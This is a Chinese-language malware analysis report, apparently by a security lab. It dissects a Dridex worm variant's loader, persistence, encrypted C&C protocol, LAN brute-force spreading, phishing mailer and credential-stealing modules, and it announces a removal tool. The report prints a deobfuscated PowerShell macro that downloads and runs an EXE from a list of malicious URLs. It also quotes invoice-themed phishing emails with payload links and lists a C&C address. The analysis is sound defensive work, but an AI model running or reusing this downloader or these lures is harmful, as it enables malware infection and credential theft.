Loader是Dridex蠕虫的第一个二进制可执行模块，该模块是通过传播邮件附件中的office文档宏下载执行的，主要完成上线并且根据C&C配置的指令来完成扩展组件的下载与执行。这个模块实际由两层加密混淆器封装而成，这两层都是独立的PE，其中第二层加密混淆器作为加密数据存储于第一层加密混淆器的数据段部分，而实际的loader(同样也是PE)则加密存放于第二层混淆器的数据段部分。执行过程中，第二层加密混淆器和最终Loader实体都是不落地到磁盘的，直接被加载到内存中执行。
###### 5.1.1、沙箱环境检测类型
Loader的加密混淆器会通过检测沙箱环境来决定自身是否继续执行，以防止沙箱分析。如果当前环境满足如下条件，Loader的功能性代码将不会执行。
表5-1 沙箱监测条件
部分代码如下：
图5-2检测沙箱环境
###### 5.1.2、安装与驻留
当混淆加密器执行完成后，会将真实Loader可执行代码解密并加载到内存中执行，此处并不会将解密后的Loader写入到磁盘中。Loader代码执行后便会开始安装蠕虫病毒，安装后的文件名称是由受害者的主机硬件信息计算而得，在一定程度可减少被查杀的几率。首先，从内存中解密一个生成目标安装名称的字符串数组，内容如图5-3所示：
图5-3名字表
然后，根据C盘序列号计算出2个整数作为上面字符数组的下标。最后，将这两个字符串拼接生成安装文件名。因此，安装在不同机器上的病毒文件的名称均不相同。
接下来，Loader会根据当前文件全路径计算得到一个长度为4个字节的字符串作为Event和Mutex，文件路径计算方法如图5-4所示：
图5-4 计算Event和互斥体名
例如：C:\Windows\System32\logoncrypt.exe经过计算后得到的是字符串DAB0BF1F，然后在该字符串前面加上“E”或者“M”分别作为事件和互斥体名。形如：
Event="EDAB0BF1F"
Mutex="MDAB0BF1F"
然后，Loader会依据不同版本的目标操作系统采用两种方式进行自启动方式的设置。
如果权限允许则通过服务方式实现开机自启动，服务名称由C盘序列号计算而得。服务创建代码如图5-5所示：
图5-5 创建服务启动
如果目标主机开启了UAC而无法通过服务方式来启动，则直接向注册表的HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run键写入启动的PE文件路径，功能代码如图5-6所示。
图5-6 写注册表实现自启动
此外，蠕虫在安装之前会测试C&C服务器是否有效，如果无效，便不会进行安装操作。
###### 5.1.3、获取上线信息
Loader将蠕虫成功安装后，便会上线通知C&C并且以此获取执行指令。该变种Dridex的C&C是内嵌在Loader文件中的加密数据中，每个样本大概有10-20个数量不等的C&C。解密后C&C数据格式如图5-7所示：
图5-7 内置的C&C信息
该列表每一项为8个字节的二进制数据，其中前4个字节为IP地址后4个字节为端口。比如在0x001B1278地址存储的是IP：0x6BAAB199转为点分十进制后得到IP地址为107.170.177.15。在0x001B127C地址存储的是端口信息，0x00001F90，转为十进制后为8080。
Dridex蠕虫病毒通过调用一个使用频率较低的Windows API（CreateTimerQueueTimer）来启动上线和扩展组件的下载。
图5-8 启动定时队列回调
通过该API来实现定时队列调用，每一秒钟启动回调函数执行。回调函数中使用一个全局控制标志来控制代码执行流程。
回调函数在经过一系列初始化工作之后，将系统中的进程列表、系统版本型号等信息加密发送给控制端完成上线操作，C&C服务器会根据上线信息来下发合适的扩展组件执行。
图5-9 获取系统信息
图5-10 进程列表
在我们分析期间，该样本自我更新速度非常快，而且更新的样本编译时间基本没有规律，可以看出Dridex新变种的C&C服务器后端是一个高度自动化的样本生成平台。
###### 5.1.4、上线协议分析
该样本的上线数据是通过POST方式提交给控制端服务器的。上线信息中携带了当前样本的运行模式、样本CRC值、感染机的硬件标识，进程列表信息等内容。
通信过程中，样本会将启动时随机生成的AES秘钥通过RSA加密后发送给C&C服务器，C&C服务器得到秘钥后通过自有私钥解密，获得通信秘钥。之后，样本的所有通信数据都通过该秘钥进行加密，其采用的加密算法为AES-128-CBC。内置的公钥数据如图5-11所示：
图5-11 内置公钥
通过对多个蠕虫样本的跟踪，我们发现这个公钥每隔2-5天会更换一次。
此外，样本通过ObtainUserAgentString函数获取Windows操作系统下的User-Agent，然后构造HTTP的POST请求发送给C&C服务器。比较有意思的是，请求成功后，服务器端会返回“伪404”响应来传输数据，猜测可能是为了绕过IDS检测或者迷惑运维人员。网络请求的数据包如图5-12所示：
图5-12 POST请求和应答
发送的数据结构内容的二进制代码如图5-13所示：
图5-13 构造数据包
接收的数据内容解密的二进制代码如图5-14所示：
图5-14 解密数据包
通过对通信数据加密、解密逻辑的分析发现，发送数据的前0x60字节存储的是被公钥加密的KEY，从0x61-0x74存储的是发送明文的SHA1，从0x75字节开始到结尾的数据是被AES加密的数据。服务器接收到请求数据后，首先会通过私钥解密前边的KEY，然后用这个KEY来解密0x74之后的密文，最后通过计算解密后的内容的SHA1来和0x61-0x74的HASH进行比较，来确认数据是否被篡改。当被蠕虫感染的主机接收服务器返回的内容时，会使用前面生成的KEY对0x75字节之后的数据进行解密，然后计算解密后的明文SHA1，最后通过公钥对该HASH进行签名认证。
根据前面分析的通信数据格式，我们可以看出，每条数据并没有携带时间戳，因此Dridex蠕虫病毒存在数据包重放漏洞。
###### 5.1.5、启动执行下载组件
Loader模块只是作为一个先导模块用于安装驻留，本身并没有实现相关的恶意操作，具体恶意操作均由从C&C端下载而来的扩展组件实现。在需要下载扩展组件执行时，Loader会从自带的一个C&C列表中顺序连接这些C&C下载相应的扩展组件执行。根据对Loader中的启动逻辑的分析，我们发现其有3种不同的组件执行方式：
（1）落地启动进程：这种方式下载的程序文件为exe可执行文件，下载的模块文件会写到磁盘中，可用于Dridex
Loader的自动升级和扩展组件的下载，实现代码如图5-15所示：
图5-15 落地文件
（2）内存加载DLL，这种方式主要用于下载扩展DLL组件，下载的模块文件不落地磁盘。样本通过自主实现的PE加载器直接将下载到内存中的PE格式数据加载执行，如内网感染模块、邮件传播模块、窃密模块等都是由此下载执行。部分代码如图5-16所示：
图5-16 线程启动DLL
（3）指定session执行下载模块，同样可用于自我更新和扩展组件执行，下载的模块文件会写入到磁盘上。由于该样本在Windwos
XP和没有开启UAC的机器上会通过服务启动，所以当有些功能模块（如登录凭证获取）加载时需要借助当前登录用户的身份。如果当前系统开启UAC,落地文件则以当前登录用户启动。功能代码如图5-17所示：
图5-17 根据不同环境创建进程
##### 5.2、内网感染模块分析
内网感染模块是Loader下载的用于局域网传播的模块，该模块是一个DLL文件，采用第二种方式加载执行。其主要功能就是扫描感染主机局域网并尝试弱口令爆破目标，如果成功则使用Loader程序感染局域网内其他主机。其中弱口令密码字典加密存储在该模块的数据区，通过对加密数据解密后统计其自身携带有共计999个密码项的密码字典。部分经过解密的弱口令密码内容如图5-18所示：
图5-18 部分弱口令
感染局域网过程如下：
调用WNetEnumResourceW，枚举系统所有连接的网络资源。
使用空口令调用WNetAddConnection2W，建立网络链接。
如果连接失败，则调用NetUserEnum枚举系统所有用户，然后使用上边内置的弱口令对网络资源进行连接。如果连接成功，则将当前的Loader文件拷贝到目标主机上并以服务的方式启动执行。局域网电脑的伪代码，如图5-19所示。
图5-19 感染局域网伪代码
##### 5.3、邮件传播模块
邮件传播模块要以群发带有恶意word、excel等文件附件的邮件来达到外网感染的目的，该模块延续了老版Dridex的感染模块，但不同的是新型变种采用了SSL加密STMPS协议进行邮件的传播感染，使得IDS，IPS等设备难以监测。邮件感染模块在进行邮件传播之前，会向C&C服务器(与Loader类似，以加密C&C列表方式内嵌在PE文件中)请求大量的邮箱账号和密码作为发送者，大量邮箱地址作为收件者（攻击目标）以及邮件内容模板作为感染邮件内容。而这些信息的请求都是通过RSA+AES的方式进行加密，通信协议类似Loader，但内置的公钥不同。公钥内容的内存dump如下：
图5-20 公钥数据
邮件感染模块在进行感染传播过程中会将一段固定格式的数据作为攻击结果和状态回馈给C&C服务器，这段数据同样也是加密传输，采用的通信方式是HTTP
POST方式。我们通过逆向还原了该结构如下：
struct POSTMAILSERVER
{
int nFlag; //常量0x5818DA3
char *strSingleFlag; // 机器名+C盘卷标识
int nLenFlag; // strSingleFlag的长度
int nCountNum; //邮件发送序号
int nCountSend; //邮件发送个数
int nCountSuccess; //邮件发送成功个数
int nSuccessNum; //邮件发送成功序号
};
此外，模块在请求发件人账号密码、收件人邮箱地址、邮件内容模板时该结构初始化为0。
表5-2是其中用于请求数据和回馈数据的C&C。
表5-2 用于请求数据和回馈数据的C&C
如果请求的POST数据合法，C&C服务器则会返回这三种类型的信息。
###### 5.3.1、获取发送邮件账户信息
邮件感染模块会向C&C服务请求大量的邮箱账户和密码信息。黑客通过Dridex将窃取到的大量邮箱账号登录凭证信息上传到C&C服务器中，并利用这些已窃取的邮箱登录凭证用于传播Dridex，新传播的Dridex又会将窃取到的邮箱登录凭证上传给C&C服务器，这样Dridex的感染路径就形成了一个自我传播的正反馈回路，大大增强了感染速度。在追踪分析过程中，我们发现了近千个邮箱的登录凭证，图5-21是分析过程中所dump出的部分邮箱登录凭证。
图5-21 部分邮箱登录凭证
###### 5.3.2、获取接收者邮箱信息
接收者邮箱同样也是由C&C指定，这些邮箱地址的用户名看起来比较像根据字典生成的，但是目前无法完全确认，也有可能是窃密模块收集的受害者的邮件联系人。部分受害者邮箱见表5-3。
表5-3 部分受害者邮箱列表
###### 5.3.3、获取邮件内容
Dridex的邮件内容是由C&C指定并由邮件传播模块下载并组装成邮件发送到受害者邮箱。这样黑客可以更加灵活的构造邮件内容，一方面可以在传播过程中调整邮件内容更好地欺骗受攻击者，另一方面还可以快速更换已经被列为垃圾邮件或者恶意邮件的内容，提高感染率。下面是两封邮件的例子:
邮件内容1
Dear {RCPT.NAME},
I have paid the outstanding balance today by bank transfer - $4124.81.
Please see attached our new address details, please could you update your records.
http://fwstation.com/New-invoice-738536/GB-MCB/2017-12-Oct-17/
Thanks for your business!
{FRIEND.NAME}
{FRIEND.EMAIL}
邮件内容2
I have herein attached the Oct 2017 Invoice.
Can you please confirm receipt.
You may click on this link to make payment http://favrefamily.ch/Invoice-Dated-12-Oct-17-97802834/POA-QSCSF/2017/
http://favrefamily.ch/Invoice-Dated-12-Oct-17-97802834/POA-QSCSF/2017/
Thank you!
邮件内容都是与银行、金融相关的信息，新变种的传播邮件没有将恶意payload附在邮件的附件中，而是在邮件内容中提供payload的链接，这在一定程度上降低了被杀毒软件查杀的风险。
Payload文件与之前版本的Dridex类似，都是一个携带有恶意宏的Office文档。打开后的内容如下：
图5-22 payload-office1
另一个会显示如下页面：
图5-23 payload-office2
两个文件的内容排版虽然不同，但都是诱惑用户去开启宏。并且两个word宏解密后的内容是相同的。
图5-24 宏代码
去混淆后，我们得到如下脚本：
$wscript = new-object -ComObject WScript.Shell;
$webclient = new-object System.Net.WebClient;$random = new-object random;
$urls = 'http://justinhophotography.com/PaT/,
http://ashtralmedia.com/DqrESMyO/,
http://anosales.net/JwZDg/,
http://earthwind.com/fi/,
http://henkbruurs.nl/Sq/'.Split(',');
$name = $random.next(1, 65536);
$path = $env:temp + '\\' + $name + '.exe';foreach($url in $urls){try{$webclient.DownloadFile($url.ToString(), $path);
Start-Process $path;break;}catch{write-host
$_.Exception.Message;
通过脚本内容我们可以看到一个url列表，脚本通过这个url列表中url拼凑一个完整exe文件的下载路径并启动执行。因而，一旦目标用户点击了word并启用了宏，该恶意的exe文件便会获得执行，而这个文件就是我们当前所分析的Loader模块。
##### 5.4、窃密模块
在对最新的Dridex蠕虫跟踪分析过程中，我们捕获了多个窃密模块，其中3个比较重要的模块分别是邮箱窃密模块、浏览器窃密模块以及Outlook窃密模块。由于P2P网络层的原因，不同的窃密模块直接通信的IP地址会有所不同，当然这些IP只是P2P网络中的节点，并非真实C&C服务器。虽然直接通信的IP不同，但是由于后台C&C为同一个C&C服务器，所以这三个窃密模块与C&C通讯时使用的公钥是相同的，并且和邮件传播模块的公钥也为同一个公钥。为了实现传播的正向反馈，窃密模块回传给C&C后端服务器的邮箱登录凭证经过处理后，再由C&C下发给其他感染机用于传播。
通过对这三个窃密模块的分析发现，邮箱窃密模块和浏览器窃密模块的代码来自Nirsoft提供的凭证dump工具，邮箱窃密模块包含了Outlook窃密模块的功能。这三种模块都会将窃密信息保存到C:\ProgramData\XXXX.tmp目录中，并在合适的时机加密上传给C&C服务器。
（1）我们从邮箱窃密模块的PDB信息中发现了如下路径信息，可推断该模块重用了Nirsoft的Mail PassView工具。它的PDB信息如图5-25所示：
图5-25 PDB路径
Mailpv是Mail PassView工具。该工具支持Outlook Express、Microsoft Outlook、Windows
Mail、Windows Live Mail、IncrediMail、Eudora、Netscape、Mozilla Thunderbird、Group
Mail Free、Yahoo Mail、Hotmail、Gmail、Google Talk等类型邮箱的账户获取，软件界面如图5-26所示：
图5-26 Mail PassView
当该模块以命令行参数/scomma
"C:\ProgramData\xxxx.tmp"启动时，不会显示应用程序的窗口，从而实现静默执行。获取到的密码会保存到该指定目录下，在邮箱窃密模块中，该目录名是随机生成的。
窃密的文件格式如下：
username,Outlook 2016,[email protected],imap.sina.com,993,No,IMAP,username,password,Outlook,Strong,smtp.sina.com,587
（2）浏览器窃密组件则是利用nirsoft的组件工具WebBrowserPassView实现的。该工具的工作界面如下：
图5-27 WebBrowserPassView
我们从内存中获取到的WebBrowserPassView版本为1.8.0.0，版本信息如图5-28所示：
图5-28 WebBrowserPassView版本信息
其获取的窃密信息文件内容如下：
URL,Web Browser,User Name,Password,Password Strength,User Name Field,Password Field,Created Time,Modified Time
https://xxx.com/home,Chrome,[email protected],test,Strong,username,password,2017/10/9 15:22:07,
https://www.xxx.org/users/sign_in,Chrome,[email protected],test,Strong,user[email],user[password],2017/10/9 10:22:20,
（3）Outlook窃密模块是通过com组件CLSID_OlkAccountManager来获取Outlook的账号密码信息。首先，通过注册表键值HKEY_LOCAL_MACHINE\Software\Clients\Mail\Microsoft
Outlook获取所需加载的com组件路径并加载，如图5-29 所示：
图5-29 获取OLMAPI32.dll路径
然后，通过com组件CLSID_OlkAccountManager来获取Outlook的账号密码信息，二进制代码如图5-30所示。
图5-30 CLSID_OlkAccountManager
最后,将收集到的帐号密码信息以"\r\n%s<%s>"格式写入到指定的文件中，文件内容如下:
Microsoft\Office\16.0\Outlook
test<[email protected]>
收集到账号信息后，模块会再次构造POST请求并将获窃取到的账户信息回传给C&C服务器。
struct POSTMAILSERVER
{
int nFlag; // 常量0x041C0F76
char *strSingleFlag; // 机器名+C盘卷标识
int nLenFlag; // strSingleFlag的长度
int nLenBuf; // 账户文件UTF8编码缓冲
LPVOID lpBufAccount; // 账户文件内容
};
构造请求的伪代码如图5-31 所示：
图5-31 构造POST请求上传密码数据
#### 六、Dridex新变种专杀工具
在深入分析了该变种蠕虫后，启明星辰ADLab推出了一款Dridex最新变种的简易专杀工具（下载链接：<http://adlab.venustech.com.cn/list.html?type=security_tools>）。该工具可有效地清除机器中的Dridex最新变种，工具主界面如下：
图6-1 专杀工具主界面
使用时，可先点击扫描按钮，如果当前主机感染上了该变种Dridex，便会出现如下提示：
图6-2 扫描
然后可对其进行查杀。点击查杀按钮后，可对新型的Dridex变种进行有效查杀。
图6-3 查杀
此外，通过对Dridex新型变种的分析，我发现该变种存在可免疫漏洞，通过创建特定目录可以实现有效的免疫，即使工具退出运行后也能长期起到很好的免疫作用。
图6-4 开启免疫功能
#### 七、总结
Dridex在经历多年的发展进化后，已经形成了集蠕虫、僵尸、窃密木马、勒索软件、P2P代理于一身的混合型蠕虫病毒。该蠕虫同时具备内外网扩散、正反馈的闭环感染、C&C服务器及通信流量隐藏、对抗分析、快速变异、模块化等高级能力。在窃密功能上，它不仅可窃取各种主流邮件客户端以及浏览器保存的登录凭证(账号和密码信息)，还会收集银行、信用卡等相关登录和支付凭证，危害极大，曾经在欧美造成过巨大影响并且直接导致银行和用户巨大的经济损失。近几年来看，已有相当一部分中国用户受到感染并且有部分中国IP被作为窃密数据回传的中间服务器（Dridex的P2P代理节点），因此需要各企业单位及个人用户提高警惕。
* * *
**启明星辰积极防御实验室（ADLab）**
ADLab成立于1999年，是中国安全行业最早成立的攻防技术研究实验室之一，微软MAPP计划核心成员。截止目前，ADLab通过CVE发布Windows、Linux、Unix等操作系统安全或软件漏洞近400个，持续保持国际网络安全领域一流水准。实验室研究方向涵盖操作系统与应用系统安全研究、移动智能终端安全研究、物联网智能设备安全研究、Web安全研究、工控系统安全研究、云安全研究。研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。
* * * | 社区文章 |
Subsets and Splits